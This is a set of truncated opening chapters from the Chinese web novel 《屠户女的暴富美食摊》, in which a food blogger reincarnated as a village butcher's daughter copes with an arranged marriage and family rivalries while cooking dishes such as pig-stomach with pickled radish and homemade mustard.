《屠户女的暴富美食摊》 1. 蛋花汤 《屠户女的暴富美食摊》全本免费阅读 柳萍端着一碗热气腾腾的蛋花汤,轻手轻脚地推开一扇木门,正逢午后的时刻,和煦的阳光从狭窄的窗口照进来,洒在那深色的桌椅柜架还有床上。 床上歪歪斜斜坐躺着一名女子,如同银盆的脸面更是显得苍白与恹恹然,让柳萍没由来地感到一阵心疼。 她继续端着那汤碗上前递去,口吻安慰道: “珠儿,饿了吧?先喝碗汤暖和暖和身子垫补垫补。” 天知道彼时她感受着那越来越冷的四肢怎么也回不了暖,一颗心都提到了嗓子眼,就差没蹦出来了,眼下能回话还知道饿了能吃食,她真是想多念几句佛。 而那被称作珠儿的女子顿了顿,伸手接过了那碗汤,似是饿极了,仰头就喝,吓得柳萍连忙劝道: “这才出锅不久,慢点喝,当心烫!” 她说完,依旧是忍不住略带埋怨道: “傻孩子,你说说你,你要实在不同意这门婚事,让你爹去和你那徐大伯多讲讲不就行了?大不了我们多凑些,咱将那聘礼双倍赔还回去,你何苦糟蹋自己,昏迷了两三日,把村里的杨仙姑都请来了,要是你就此去了,你让我和你爹怎么过呀……” 丁宝珠听着眼前人的絮絮叨叨一声不发,嘴里只残余着方才一饮而尽的那碗汤里的几缕细细蛋花的口感。 她哪敢说话?因为她根本就不能算是这妇人的女儿了! 她明明记得自己当时正在电脑旁熬夜剪视频,结果剪着剪着眼前花白,还以为自己之后顶多昏睡过去,却没想到是直接猝死并加赠一套穿越服务,再睁开眼,她就来到了这种莫名的地方。 上方是一片有着结构的木头房梁顶,旁边四周尽是粗糙暗淡的夯土,家具虽是摆放得整整齐齐的,可一看就是用了许久的老物件,就连盖在自己身上的被子,上面也打着不少补丁。 头上有一块火辣辣的地方随着清醒更疼了,好不容易才伸手碰了碰,却只摸到一层厚厚的裹布,这可能就是她来到这里的原因之一了。 那年轻妇人并一位老妇离去后就再也没有回来,丁宝珠仍旧感觉浑身无力,只好闭目养神,在平静后竟然也大概理清了脑中遗留的原主记忆。 原主的名字就比自己多一个字,名唤丁宝珠,刚刚那个双眼通红的妇人就是原主的母亲,姓柳,单名一个萍字。 而原主的父亲此时大抵还在外头做事,名叫丁宏,作为丁家的大女儿同时也是长姐,她身后还有两个妹妹宝珍和宝琴——就这么组成了一家子。 不过像这种经典的古代家庭,这一家子,可能不只是一家子…… 丁宝珠浑浑噩噩的感到一阵惝恍,然而就在这时,原主的母亲柳萍就推门进来了。 这回她不但进来,手里还拿着一碗什么东西,甚至在散发着袅袅热气。 而身为美食博主的丁宝珠抽抽鼻子就知道,那一定是芝麻油天然的香味。 不深吸一口倒还好,像把五脏六腑都给打开了似的,她立时觉得胃里咕咕叫了起来,想来是这具身体昏迷许久不曾进食了。 所以柳萍才递来那汤碗,她就迫不及待地接过喝下,竟是连温度也顾不上。 那碗所谓的汤里实际上半碗都是水,只有表面上漂浮着几缕黄白色的蛋花,还有几小点浅棕色的芝麻油,以及数粒青葱,虽是碗蛋花汤,却足以称得上是清汤寡水,顶多比白开水有点味道罢了。 丁宝珠估摸着里面应当只敲了一颗蛋,而且在没有高科技的加持下,那蛋的个头恐怕也是小巧得多。 可不知为何,她就是对这碗热气腾腾的蛋花汤忍不住垂涎三尺。 柔滑的蛋花好像一股脑儿就从嗓子眼钻了进去,再配上芝麻油和青葱这两种只用些许就能吊出香气的材料,才喝了半碗,就觉得浑身暖乎乎的。 只可惜没有加盐,牛饮大半碗,结果嘴巴里几乎没有一丝味道。 这原主大概只有脑袋受伤了,其余却没有什么大碍。柳萍仍然在唠叨着,但同时给她又是掖被又是垫枕的,满脸关切,令丁宝珠心里暗暗叹息一声。 这穿越过来的人百分之九十九点五都是回不去的,那就只能嚎一句标配话语——既来之则安之了! “和你说了那么多,你究竟有没有听进去?”柳萍见丁宝珠一声不吭,以为后者还在生着闷气,无奈且有了几分恨铁不成钢,不悦道,“我平常还真是太纵你了,啥都随你的性子来,现在闹出这么大的事,等你爹回来,看你咋……” 谁知话音未落,却听门外乍然传来一阵激烈的话语声,一听就是故意往这方向再讲出口的: “就为了一个不成器不听话的女儿,至于又是请大夫又是请仙姑的么?还真当块宝了?好不容易能为老丁家做点贡献,闹得这样乱糟糟的,老二还真是找了个好媳妇,生了个不要脸的好女儿!” “这找大夫治病不要银钱啊?鸡子是你自己下的啊?我都攒着舍不得吃,也该紧着孙儿,倒是便宜了那个赔钱货!” “反正不管咋样,这亲已经是订下了,下回不管你是撞墙还是跳河,我都要把你捆着送过去,你就死了那条心吧!” 这声线听着较为衰老了,撒泼斥责的口吻却是一等一显现出来,那嗓音也是尖利,估摸着不止是这屋,四邻八舍那儿都要听见了。 柳萍听得清楚,那脸色瞬间就变了,横眉微微倒竖,抿抿唇却什么也没说,反而是丁宝珠蹙起眉来。 这就是原主另一半记忆的内容了。 门外明里暗里都在抱怨责怪还上升到怒骂的人正是柳萍的婆婆,丁宏的母亲以及丁宝珠的祖母蒋氏。 这蒋氏一开始也没有那么讨厌丁宝珠,还是之后才改变的。 这所谓的老丁家,长辈是蒋氏与她丈夫丁进,也是自己的祖父,膝下则有个女儿,还有三个儿子,如今是成了丁家里的三房。 而这三房内丁宏虽排行第二,却是头一个娶妻生子的,所以丁宝珠不只是二房的长女,也是他们头一个孙辈,所以那时还是喜欢的。 喜欢她的也不仅是他们,丁宏和柳萍对于这第一个孩子也欢喜得紧,从小宠溺,就养成原主娇蛮肆意的性格,慢慢在蒋氏眼里就成了个钉子。 再加上蒋氏后来生的又都是女儿,反倒是大房三房接连添丁,于是这蒋氏非但不喜丁宝珠,连带着柳萍也一块儿嫌弃起来,没少给她使过绊子。 不过在原主的记忆里,事实上蒋氏打从起初就对这个二儿媳妇不满意,所以柳萍就算真的为丁家添丁,估计也还是不会扭转态度的。 倒是这原主,任性也有被溺爱的缘故,但很多都是为了 2. 生猪肚 《屠户女的暴富美食摊》全本免费阅读 “娘,大老远就听见你在那嚷嚷了,快别说了,没得让邻居们笑话!” 那是个极大的粗犷男音,但比起接下来蒋氏发出的就有过之而无不及了。 “笑?笑又咋地了?还不是因为你那好闺女,我们丁家的老脸都要被她给丢尽了!老二,不是我讲,这门亲事是你订下的不?那定下了就得守!可你那个好闺女竟然这么顶撞你,难道你不得好好管教管教?” 蒋氏噼里啪啦一顿密集的话打下来,批评过后还不满足,又是往这屋的方向不满地咧咧道: “这门亲事你就受着吧,别整日胡思乱想的,你看看人家到底搭不搭理你?劝你死了那条心!老二,回去好好教教!” 说罢,似乎又冷哼一声,这下蒋氏应该真的离去了。 不知是不是重伤未愈的缘故,丁宝珠在床上听得又稍许头痛起来,原主的力气本身就大,这撞墙也不收点力气,直接就一命呜呼了,若不是自己过来,只怕要永远地昏迷下去,什么药品和仙姑都不好使。 然而就在下一刻,屋内的木门吱呀一声被打开,出现了一位长得身强力壮的男人,身上穿着茶褐色的布衣,直接就来到了床边,隐约还有丝血腥气,满脸风尘仆仆,却又很快板起,沉声问道: “宝珠,你知错没有?” 柳萍在一旁默默偏过了脸,这回她也觉得女儿做得实在太过,所以并不开口。 丁宝珠垂下眼,声口真诚道: “爹,娘,我知错了,下回是再也不会的了。” 这男人正是丁宝珠的父亲,蒋氏的二儿子丁宏。丁宏作为一名屠户,每日都要挥刀,时不时还要搬运重物,久而久之就练出了一身腱子肉和大嗓门,就算把声音降低,也完全充斥在整个屋内,给人的威慑力不容小觑。 可一听丁宝珠马上就服软认错,丁宏的脸上霎时出现了与模样不符的惊奇,还瞥了眼边上坐的柳萍。 但柳萍自己都拿不准,又怎么可能回复?只是摇了摇头。 然而两人的心中浮现的其实是一个念头:这女儿怎么像是变了个人一样? 于是最后,丁宏叹道: “爹就当你是认了错了,以后可再不许了!就是那婚事……” 柳萍听闻,不禁皱眉问道: “徐家那边咋说的?” 原主昏迷了足足两三日,就这段功夫,已经够让整件事传遍整个村子了,如今还不知村里人是怎么排揎丁宝珠的,就更别提准亲家那儿了。 现在还仅是下了聘礼,可先不说蒋氏到底愿不愿意退还,这聘礼一退,那就成了退婚,以后丁宝珠在这个村庄内是铁定嫁不出去了。 好在丁宏和那徐家掌事的属于是拜过把子的异姓兄弟,关系十分不错,这才有了这门亲事。虽说发生了这般事情,丁宏感到羞愧不假,可到底仍是去见了那徐家一面。 徐家对此也抱有几分怨言,但丁宏的那位兄弟,丁宝珠完全可以喊上一句大伯的人,却是觉得也有一些自家的缘故,只因他那个大儿子相貌粗陋,脾气乖戾,虽然曾经也有媒婆上门,按理说媒婆的那张嘴应该说黑即白是非颠倒,可最后皆是没有下文不了了之。 要说相貌是个原因,还有一点,便是那徐大伯是个猎户,每逢到了捕猎的时节,十日总有过半是不着家,那徐家子是他唯一的儿子,自然是要跟着他一起做的。 猎户这活儿虽也要与兽类多接触,却比屠户辛苦危险得多,指不定哪天就在深山老林里出了事,外加之前的那些理由,这徐家子也就一直讨不到媳妇。 但若是这婚事真的就此作罢,对两个孩子的影响都不好,何况蒋氏是一定不会把那些聘礼给拿出来还回去的。 要知道别家下聘礼,顶多是粮食布匹什么的,最多再包一小包冰糖,这亲也就八字有了一撇。 而徐家的聘礼中,聘饼和布匹都是去镇上订做再亲自去拿的,兽皮和风干了的兽肉是存货,但那一双大雁则是父子俩自己去捉的,这批礼品可是比其他家的聘礼多出了一倍不止呢。 所以即使要按柳萍讲的那样双倍退回,丁家也许一时也凑不出——但丁宏心里其实也是不想断了这门亲事的。 只是没想到丁宝珠竟然这么乖巧地就认了错,而且……瞧着也不抗拒了。 丁宏不禁松了口气。 丁宝珠昏迷的这几日,他天天都提早回来探望,幸好作为多年都做这生意的屠户,手下有不少旧客,甚至提前就把肉品给预订下了,丁宏也得以能提早回来。 可每次都是失望,今日却终于放下了大半颗心,又见女儿一副不曾有的柔顺模样,心里更是动容,原先打定主意要好好斥责一番的心思也消退不少。 听闻柳萍提起徐家,丁宏再度叹道: “老徐是没有说啥,弟妹倒是有些不高兴了,本来定的是正月以内就来迎,如今就不知道又要何时了。” 这成婚的日子还有那些礼仪的时刻可不是随意就能定下的,还需看黄历在里面找到一个好日子,现下丁宝珠破坏了这进程,想要接着连上,那还要继续定日子。 柳萍的眉头皱得更紧,她回头来正声问道: “珠儿,你这次真的想清楚了?可不能再变卦了,要是还发生这种事,那就没那么简单了!” 丁宝珠感觉头上仍疼着,脑子里是一下子涌入了太多记忆而涨着疼,但听到柳萍的问句,她点点头道: “爹,娘,经过这事我已经想明白了,再说我年纪也不小了,以后必不让你们担心了。” 她从原主的回忆里得知,那徐家住在村里的最西边,近乎是山脚下,也方便进山。 纵然丁宏与徐猎户交好,可原主只在小时候和后者多见了几面,长大反而不怎么见了,外加她还喜欢村里林木匠的儿子小木匠,就更没有联系过徐家了。 特别是徐大伯的那个儿子,就连原主的记忆里都没有半点身影,对于哪个丁宝珠来说都属于是真正的盲嫁。 丁宏与柳萍对视了眼,也暂时放心,前者这才问道: “宝珠,你饿了吗?都几天没吃饭了。” “刚刚我做了碗汤给她,才醒来的身子,也没法多吃啥。”柳萍在旁说道。 “汤汤水水的咋能填饱肚子?况且闺女看着也好了不少,就该好好补补才对。” 丁宏一边说着,一边从衣里怀间取出了一个大油纸包,笑道: “瞧瞧我这次带回了啥东西?” 从记忆里得知,丁宏每每出门做生意,回了家总能带一些没有卖出去的,亦或是单个留下的货,就当是开小灶了。不过带回来的也多数不是精肉,而是下水等物。 丁宏利索地将那油纸包给拆开,把里面的物品取出展开——竟然是一整张新鲜的生猪肚! 虽然也属于下水,却也能尝到些肉味了。柳萍笑道: “这东西好,成色也好,到时候我去熬成汤来给珠儿补身。” “这可是我想 3. 酸萝卜炒肚尖儿 《屠户女的暴富美食摊》全本免费阅读 丁宝珠出了房门环视一眼,又配着脑海中的记忆,才大致清楚这丁家的布局。 这丁家要比一些零零散散的村里屋舍大多了,毕竟老老小小加起来都有十多口人了。 除开院落,大屋子有四间,都是夯土堆墙和木头顶,上面盖着稻草,分别是三房和他们这些小辈的祖父祖母丁进与蒋氏的住处,另外就是灶房、茅房等小型建筑了,还有被篱笆圈起来的一块儿地,里面搭着鸡窝养着数只鸡。 总体来说,这丁家没有想象中的那么贫困。 丁宝珠顺利地找到了灶房,果然和她想的一样是灶膛和几口锅,这做饭前还需要生火呢。 好在她作为美食博主,也制作过大灶菜铁锅炖什么的,为此还特意去学了如何烧火,至少是不会抓瞎的。 顶端上吊着几块不知已经挂了多久的肉干,也就拳头那般大,四周放着几个半鼓不鼓的袋子,揭开一瞧,里面存放的皆是粮食。 可饶是已经不算贫穷的丁家,这存的粮食里也是没有精米白面的,袋中装的是些糙米、黍米,以及荞麦和大豆。 这都是比较新鲜的粮食,另外丁宝珠还发现了甘薯干和芋头干,大抵是为了能多保存。 作为没什么条件能够保存食材的时代,尽量压榨水分晒干是个不错的方法。在旁边放置着的瓦罐中,丁宝珠一掀开盖儿,就嗅到一阵咸咸的气息。 这一定是家里自制的咸菜、酱菜和腌菜等物,也许还是从冬日留到现在的。 那灶膛上架着锅,旁边放着一些大小不一的深色小罐子,她猜想着那应该是调料了,正想继续打开盖子瞅瞅,却听身后忽然传来一句话语声: “哟,这是谁在那偷偷摸摸的啊?” 丁宝珠回头一瞧,从门口一前一后地走进了两名妇人,都是绑着头巾扎着髻,身上的粗布衣裳也是洗得泛白发浆了。 此时已是过完新年,这新年之际免不了要去扯些新布匹裁新衣,只是那新衣都穿到了小辈身上,长辈也就仍然穿着先前的旧衣了。 更别提丁宏和柳萍还特意裁了匹颜色鲜艳的布料用来做出嫁时的新衣,做都做好就等上身了,结果却发生了那种事,只好搁下。 眼前的两名妇人,前一个眯着眼盯着自己,不仅看她像是防贼一样,就连方才的口气都有点阴阳怪气的;后一个跟着进来,那两道柳叶眉微微蹙起,一副隐约不耐烦的样子,可那并不是对着丁宝珠,而是对着前者。 丁宝珠立刻认了出来,这两人正是大房媳妇儿和三房媳妇儿,也就是原主的大婶子和小婶婶。 这大房媳妇儿仗着自己生下了长孙,又接连添丁,在某种程度上更得蒋氏的喜爱,慢慢也就比妯娌们更傲气一些,尤其是无子的柳萍,愈加不放在眼里,可以说和原主有过不少冲突。 但那三房媳妇儿因为三房与丁宏交好,所以两家也是比较客气的——何况这也能瞧出来,这三房媳妇儿也是不大看得惯自己的大嫂的。 啧啧。丁宝珠心里暗叹。看来这丁家也是不怎么太平啊。 三房媳妇儿姚丹瞥了眼,开口说道: “大嫂,你咋能说是偷偷摸摸的呢?全家都知道宝珠受了伤,眼下又刚醒,可不是饿着了?肯定是来找吃食了。” 丁宝珠也微笑道: “我爹带了食材回来,我想把这做了菜出来。” 两人看去,果然见丁宝珠手中油纸里包着白花花的东西,她们又素来知晓丁宏经常带些没卖出去的下水来打牙祭,也就明白那是什么。 姚丹笑道:“你伤才好,怎么自己动起手了?二嫂也放心你?” 现在已是申时,到了该做晚食的时刻,等自家男人回来正好可以上桌吃饭。她们来到灶房时见到了也出门的柳萍,脸上也没有了那种十分忧愁的神色,就知她心头大事已解决了。 不过她们也是同样听见了蒋氏对着二房的骂语,却都没有作声,省得惹婆婆不喜。 却没想到进了灶房,那闹了家中一阵不安宁的主角就在这。 “多谢小婶婶关心,我感觉身子利落不少了,而且我爹娘又忙着,就想帮忙把晚食给做好。” 大房媳妇儿吴棠冷哼一声,随即来到那些粮食袋旁,打开其中一个口袋,又取了个篮筐,一边舀着里面的粮一边不快道: “咱们家里的规矩,难不成撞破了头就全忘了?做吃食要一家一家的来,所以我先做!” 这原主看来是真的不怎么进灶房,这所谓的规矩看来也不是很清楚,不过见吴棠那个要霸占的架势,丁宝珠也插不进去手。 姚丹弯了弯唇,拉着丁宝珠说道: “那就让大嫂先做好了,我估计是用不了多少时辰的。宝珠,我们先走吧。” 吴棠听出姚丹话里的嘲笑,回头瞪了两眼,可姚丹早已领着丁宝珠离去了。 梳理了其中原因,丁宝珠也止不住笑。只因那大房儿子也就是她大叔叔丁延,和丁进一起种着家里拥有的田地,平常吃的最多的就是粮食和蔬菜,制作起来都不难,更费不了多少时间,不像其他两家还有其他食材。 丁宏做了屠户,时不时就有卖剩下的下水,或者是全肉,而三房儿子小叔叔丁绍则是搞了养殖,除了院前的那些鸡,在房后还特意搭了窝棚,在里面又养了鸭子和猪崽,所以偶尔也是能吃到鸡子和鸭蛋的。 显然其他两家,过得要比大房好得多。 “听你说身体大好了,我也就放心了,只是以后,你少和大嫂针尖对麦芒的,也收敛点脾气……” 姚丹说到这里却顿了顿,似乎是觉得接下来要讲的话语非但不能让丁宝珠收敛,反而又要发出了,也就没继续往下。 丁宝珠却明白姚丹的心思,笑道: “没关系的三婶,我经过这件事也都想明白了,以后不会这样任性了。” 原主那一撞撞得可以说惊天动地,血溅当场,醒过来像是换了个人,人们大概也是疑惑了会儿就释然了,毕竟能活着就不错了。 姚丹点点头笑道:“你能这么想就好,那我到时候可是要来喝你的喜酒的。” 谁知那吴棠占据着灶间竟有半个多时辰,开春的日头落得依旧快,连辛苦劳作一天的人们,也要慢慢收拾回家了。 等吴棠磨磨唧唧地离开灶间,他家丈夫儿子,连带着丁进都扛着锄头回来了。 丁家在村里大概有十数亩地,有些是祖上传下来的,有些是后期购置的。有六亩水田,六亩旱田,不过那旱田上部分空档给三房搭建了畜棚,但每年春耕,丁家依然是要去勤勤恳恳种田的。 除开丁进,还有丁延和大儿子丁杉,日落时分就从田地那回家,对他们来说,这晚食就正好了。 丁宝珠与姚丹来到灶间时,室内仍有未退的热气,以及一抹粮食煮熟的气味。 4. 芥辣肚丝 《屠户女的暴富美食摊》全本免费阅读 然而透过窗口,除开那渐渐变得火红的夕阳,爆炒过的香味也慢慢弥漫开来,不但在院落中传遍,还顺势飘向了丁家外。 丁家的两边邻居自然是最先察觉到香味的那个,却只能无视嚼着自己的糠咽菜,谁让他们没丁家人那么有出息呢? 然而过了不久,丁家的木门外就出现了几个人影。那年长一些的是蒋氏的小儿子丁绍,与丁宏比差了将近有十多岁了,可能做娘的都无一例外地会偏爱点小儿子,所以丁绍和蒋氏的关系没那么差。 他今儿拿了一篮攒下的鸡子和自家腌的松花蛋去镇上叫卖,傍晚才赶回来,顺带还接了在隔壁村村塾念书的大房次子丁笙,以及也在隔壁村里学织布的二房次女丁宝珍一块儿回家。 叔侄仨几乎是刚到门口,就闻到了那阵香气,不由得肚里打起鼓来,直接推门而入。 “娘!娘!” 丁笙斜跨着布包一路跑去了自家屋里,那声音简直是绕梁三日的程度。 “我饿了,要吃饭!” 丁绍见状摇了摇头,这丁绍可以说是丁家里唯一一个去念书的小辈,可明眼人都看得出他不是那块料子,今年也有十五了,没几日就要去县里考试,已经落榜过,没想到还是这么不稳重,看来这回大哥又要白花费了。 “小叔,那我就先回去了。” 丁宝珍也是挎着一个布袋,向丁绍淡然说道,只等后者点头,她才回了二房的屋。 丁绍想着姚丹此时一定是在灶房里,就抬脚往那去。没曾想还未到门口,就见姚丹一脸匆匆忙忙地出来了。 他双眸一亮,一脸喜气洋洋地上前道: “媳妇儿!你估估我今天挣了多少……” “等等再说,我忙着去拿东西呢!” 谁知姚丹直接打断了他,甚至掠过了他就往房屋里走。丁绍惊讶,更是疑惑地望了一眼灶房,但最后仍是选择和自家媳妇一起。 这就要往之前一段时间讲起了,丁宝珍做了一道酸萝卜炒肚尖儿,以防太快冷却,她准备再做一道凉拌菜。 不过既然是凉拌菜,那对于调味料是十分讲究的,可光凭灶房中的这些显然还不足。 丁宝珍想到这微微皱了皱眉。 而姚丹才刚刚从前者那熟稔的技术回过神来,见丁宝珍像是多了几分烦恼,便问: “咋了?” 灶膛内的火焰不断上升着,还新添了一把柴,盖上大盖的锅内已经从边缘露出了袅袅热气,那猪肚快要煮熟了。 丁宝珠摩挲着下颏如实回答:“我想着凉拌肚丝,就是材料上有些缺。要是有花椒、芥末什么的那就好了……” “花椒?我倒是在镇上见过,但不是我们这的口味,而且也不便宜。”姚丹一边回答解释一边摇摇头,就那价格,她连尝鲜都不会去买,何况她也根本不吃,买了也无用。 丁宝珠见姚丹的模样沉默下来,也不知这里有没有胡椒?但连花椒都价格不菲,那后者岂不是云中之物不可得了? 当然也许是这地方压根就不食辣,要知道那花椒类还是川蜀地区多产。 姚丹自顾自找着台阶下问:“那芥末又是啥东西?兴许能得。” 丁宝珍笑道:“这芥末也不难得,用芥菜种就可以了。” “哎呀,我还以为是啥金贵的,你三叔也晒了一批芥菜的种子,还没种下呢,你既然要,我去给你拿点不就成了?” 姚丹说着,就要离开灶房,丁宝珠在后面连忙叮嘱道: “小婶婶,就要一小把就够,可别多了!” 三房虽说主打养殖,却也有地要种,但种植的农作物大部分都是用来给动物作饲料的,那芥菜好种长得又快,不仅是他们能吃,那些饲养的鸡鸭和猪也能吃,不会浪费。 只是近日来三房忙着自家生意,一时没顾上,反正距离春耕结束还有段时日,他们种的其实也不多。 看着姚丹这幅匆忙样,丁宝珠摇摇头,却也勾了勾唇角。 她穿越过来没多久,除了自家爹娘,给她最大善意的就是这个小婶婶了。大抵是因为她那小叔的年龄本就不大,娶了媳妇年岁就更小,和丁宝珠这个村里的老姑娘比,也就没差上几岁,比较容易说得上话。 于是她转身把锅中的熟猪肚给捞了出来,冷却过后就用刀切成了丝,又从瓦罐里取了些腌黄瓜条来同样切丝备用。 就在这时姚丹回来了,递过一把芥菜种子笑道: “这可以不?快让我瞧瞧是咋做的。” “好嘞。” 丁宝珠一口答应下来,取过那些芥菜种,又让姚丹去拿一块纱布来。 按理说应当用起码两年的陈芥菜种最佳,不过没那条件,丁宝珠也不嫌弃,她找来石臼将这些种子细细碾碎了,又调了温水,两者一起放进碗里搅和。 等姚丹拿来了纱布,她罩在碗口上,再继续用热水冲泡,呈现出的便是一种泛黄的似水似膏的产物。 丁宝珍又在里面滴上了醋,再最后过滤一遍,这芥末也就成了,散发着一丝淡淡的清香。 只有她自己明白,这做出来的其实是所谓的黄芥末,不过想着这里吃不了辣,就算真能做得了另一种绿芥末,她仍是会选择这种味道不是很重还有着香味的黄芥。 用这黄芥末做基底,丁宝珍再在其中添了盐、醋、蒜末、芝麻油,整碗拌进了那猪肚丝和腌黄瓜丝中,用筷子那么一翻,香味瞬间就往上涌出来了。 “好香啊!”姚丹不禁感叹着,“这个味道,又是和刚才那菜不一样了,宝珠,你啥时候学了这些的?” “学了什么?” 就在这时,柳萍忙完手上的事情进了灶房,见到丁宝珍与姚丹待在一块儿也不觉得奇怪。 “二嫂,你来得正巧呢。”姚丹喜笑颜开地拉她过来道,“你家宝珠竟然这么能干了,也不知是不是和大哥多出门涨了见识,现在还能做得一手好菜,这去了夫家可不是个好媳妇?” 柳萍见室内充斥着热气和香味,心里也奇异,却没多说什么,只是笑道: “那就借弟妹吉言了——宝珠,你爹和妹妹都回来了,可以开饭了,弟妹,你也紧着三弟和孩子们吧。” 姚丹听闻,就把另一口锅中的盖子给揭开,里面的杂粮饭也是熟了,她还做了一盘子炒菜,虽是绿油油的,却看不出具体是什么菜,额外就是些腌菜了。 丁宝珠见状,就多拿了个小碗出来,往里面装了点芥辣肚丝送过去,说道: “三婶,这些你带回去尝尝吧。” “哎哟,这咋好意思?”姚丹用身上的围裙擦了擦手,却没有动作。 丁宝珍微笑道:“怎么不好意思?要不是没有你那芥菜籽儿,我也做不出这道菜呢。” 柳萍虽不清楚具体发生了什么,却也在旁边附和道: “你大侄女儿给你的,你就收下吧,我们也吃过你家里的鸡子不是?” 实际上姚丹在一旁见着丁宝珠做了饭菜,又闻那香气,早已是把肚里的馋虫给勾出了,当下也不再推脱,笑道: “那就谢谢我大侄女儿了,回去让她三叔一尝,肯定喜欢这味道。” 5. 前往镇上 《屠户女的暴富美食摊》全本免费阅读 二房一家人其乐融融正风卷残云地吃着晚食时,大房那里却是气氛凝固,几乎毫无声息。 除了还算管够的杂粮饭,就是茄子干、糟黄芽这种腌菜,唯一有点味道的,还是中间那盘挖了勺猪油炒的野菜。 像丁进、丁延和丁杉这种一下地就忙碌一天的人最需要补油盐,这一顿倒是中规中矩,或者不如说要比其他人家好多了,不知有多少人连那勺猪油都心疼,就别说是拿来炒野菜了。 那丁杉被丁进和蒋氏看作是长房长孙,丁笙又是家里唯一一个读书人,被二老宝贝得不得了,纵然是器重老二老三,可到底是与大房走得近,所以吃饭也聚在一起吃。 只是即便入了夜,空中似乎还散发着那使人馋涎欲滴的香气,属实是无孔不入无处不在。 丁笙吃了一口野菜,觉得根本没有滋味,不禁撂下筷子不满道: “奶奶,今天念了一天书了,我头都念晕了,我想吃肉!” 就算那二房吃的不是肉而是下水,起码也有个肉滋味,也不知是怎么做的,那酸香好像没吃进嘴就能感受得到,这让他更是吃不下那野菜了。 坐在主位的丁进抽着一杆旱烟,周围雾气缭绕,蒋氏阴沉着脸,一时没有说话,吴棠看看二老,又看看自己那不做声只顾埋头扒饭的丈夫与大儿子,心里油然起了一阵火,却又不好发出来,只能冷声道: “那菜是你大姐做的,你想吃,那就去找她要啊,你爹你哥在田里忙活了一天,哪有功夫去买,又不像你二叔一样天天有肉吃!” 丁延丁杉抬起眼,感受到眼下的气氛,也不敢开口,更是不知开口要说什么,毕竟那二房三房还有几口人要吃饭,他们可能自己都不够吃,哪能拉下脸去讨? 唯有大房的小女儿丁宝菱不解地问道: “大姐竟然下厨了?平日里也没见过啊?” 吴棠冷笑一声道: “谁知道呢,撞破了脑袋,也和变了个人似的,今天就拿着那么一大张猪肚子在我眼前炫耀呢,好像我们真吃不起一样!” 听到猪肚子的丁笙更是不悦,胃里仿佛在被人抓挠着一般,又叫道: “我不管,我也要吃猪肚子!不然我明天也不去上学了,反正我也落榜过,我压根就不是那块料子!” “那咋行?瞎胡闹!”丁延这才出声,也板起脸来,“再过一段日子就要去考试了,你这是啥想法?你要是再这样任性,别说是猪肚子,饭也别吃了!” 原本有了丁杉后,大房没有什么多余的念头,只想着让儿子跟着一起务农,可是又有了二儿子丁笙后,他们就慢慢有了想法了,恰巧隔壁新启了一家村塾,有条件的人家都把孩子送去念书了。作为男儿,能识字是好的,万一还有幸过了县试什么的,那不连考取功名的资格也有了?就这一步,都足够光宗耀祖了。 彼时正值秋收,大房手头有了余粮,再和丁进蒋氏商量后,又因那是大房儿子,也就交了束脩,送去念书了。 束脩每年都要交,同时还有书费、笔墨纸砚什么的,特别是去县里考试的路费报名费,怪不得都说读书是个极费银两的事情。 而那丁笙,起初倒也听父母与祖父母的话用功念书,但成绩始终是平平没有水花,渐渐也就心态不稳了,外加两年前好不容易才凑够了费用去县城考试,却又落榜,更是被打击了信心。 可道理很简单,这时候放弃了,那他们这几年不都全部打水漂了?想想心里就要流血,所以不管是什么问题,那大房和丁进蒋氏都是不想就此放手的。 况且丁笙如今可是家里唯一识得字的,怎么也是能有出息的! 蒋氏看着吵着要吃肉的丁笙,也知道她要是这时去找二房,那二房估计早就吃完了,只好安慰着打着圆场道: “好了好了,你明天乖乖去上学,让你爹去买,等你回来就能吃到了,咱们也不急这些时间!” 丁笙撇着嘴,可也明白他再大吵大闹现在也是吃不到的,只好暂且放弃。 然而就在这时,吴棠貌似想到了什么,对着蒋氏小声道: “娘,你收的那丁宝珠的聘礼里,是不是有肉来着?” 就如同别家会做腌菜,猎户家的肉多,也会做腊肉腌肉和肉干什么的,送来的聘礼其中就有。 丁笙来了兴致,不禁道:“是了,我还见到那对大雁了呢,娘,我还没有吃过大雁肉,也不知是什么味道?” “又是胡说,那对大雁是礼物,动了那雁,不就成不了一对了吗?” 丁延不悦,他感觉读了几年书,丁笙却完全没有读进去,这不是白白浪费么? 蒋氏听闻,却想起了那些糟心事,不由得哼声道: “无论如何,那徐家送了聘礼来,就没有再退回去的道理,而且哪个娘家最后不都是自己处理那些聘礼的?又怎么不能动?” 吴棠这时浅笑道:“既然娘这么说,那我们不动那大雁不就行了,但是那些肉干,我们就是拿一点,想必二房那也不会发现——到底来说还是娘是主事的啊!” 丁笙见吃肉有望,继续吵起来,蒋氏有了台阶,又见其他人没有什么反驳,也就真的从那聘礼里下手了。 丁宝珠对此事根本不知情,而村里人又是日落而息,一间房里各自说了几回话,就要收拾收拾睡觉了。 二房人不少,房中间就用帘子隔开,丁宏和柳萍睡在左边,三个女儿睡在右边的一张大床上。 不过那床铺再大,睡三个人依然是有点挤的,可丁宝珍丁宝琴似乎是习惯了,道了晚安就闭眼盖被睡下,每人都有一张老棉被,挤在一起反而不会太冷。 但丁宝珠却没有睡,只是微眯着眼,静静听着另一边的动向,果然过了半晌,就听柳萍轻声说道: “他爹,你有没有觉得珠儿她变得不一样了?” 毕竟是身上掉下来的一块肉,突然的转变还是存着一丝疑惑,她哪里知道那身子里已经不是原来的人了,丁宝珍止不住心里一咯噔。 丁宏却道:“我也有这么个感觉,可是宝珠不还好好的在我们眼前吗?再说了,她这回差点连命都没了,怎么也能懂事些了,谁还不惜命呢?” 柳萍听着也对,便不再多说,丁宏又宽慰道: “好了,咱们先睡吧,今天的事儿都办完了,明天一大早我还要去镇子上呢。” 丁宝珍听到这,刚松了口气,心里又是一动。 她才熟悉 6. 笋丁肉馅儿大馒头 《屠户女的暴富美食摊》全本免费阅读 这村子名为象山村,全因坐落在一座山旁,而那山又形似巨象,所以才叫了这个名字——于是这村是靠山吃山,慢慢也就成了座包容许多外姓的村庄,起码要比周边一些皆是同姓组成的小村落要大了。 丁宝珠偏头望去,这时候太早了,还没什么人出来下地,但在一片浅薄的雾气中,她远远望到那连绵不绝的水田,里面显得并不是那么平整,可马上就一晃而过了。 骡子性子更冲,嗬嗬地叫着,估计也是喂过了食,不消一会儿就来到了村口,接着往前小跑着。 本来就被颠到现在,但村外的路不仅宽了,却也更颠了,可丁宝珠看着丁宏和那些妇人倒是早已习惯似的,甚至因为天还早,在半眯着眼养神一样。 